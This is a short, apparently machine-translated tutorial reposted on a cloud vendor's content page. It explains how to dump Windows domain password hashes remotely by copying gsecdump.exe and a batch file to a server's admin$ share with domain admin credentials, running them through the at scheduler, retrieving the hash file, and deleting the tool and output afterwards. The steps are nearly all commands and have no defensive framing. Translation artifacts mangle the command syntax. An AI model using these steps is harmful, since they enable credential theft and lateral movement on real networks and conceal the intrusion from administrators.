Use the at command + gsecdump to capture the Hash in the domain environment

Source: Internet
Author: User

// Use the domain administrator account ipc to access a server

 
Net use \ IP address \ ipc $ "password"/user: domain administrator @ current domain name
 
// Copy the local gsecdump.exe file to the C: \ WINDOWS Directory copy gsecdump.exe \ IP address \ admin $
 
// Copy run. bat from the local machine to the C: \ WINDOWS Directory of the other party to copy run. bat \ IP address \ admin $
 
Run. bat contains the following content: C: \ WINDOWS \ gsecdump.exe-u-s> C: \ WINDOWS \ Hash.txt
 
// View the current time of the target server. net time \ IP Address
 
// Add the scheduled task at \ IP address xx: xx "run. bat"
 
// If the generated Hash.txt file is successfully generated after the specified time expires, the dir \ IP address \ admin $ \ Hash.txt
 
// The local machine uses the batch processing file to obtain the Hash content fetch. bat
 
The fetch. bat content is as follows: type \ IP address \ admin $ \ Hash.txt> Domain_Hash.txt
 
// Delete gsecdump.exe del \ IP address \ admin $ \ gsecdump.exe under the target server C: \ Windows Directory
 
// Delete the run. bat del \ IP address \ admin $ \ run. bat under the C: \ WINDOWS Directory of the target server
 
// Delete the Hash.txt del \ IP address \ admin $ \ Hash.txt in the target server C: \ Windows Directory

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.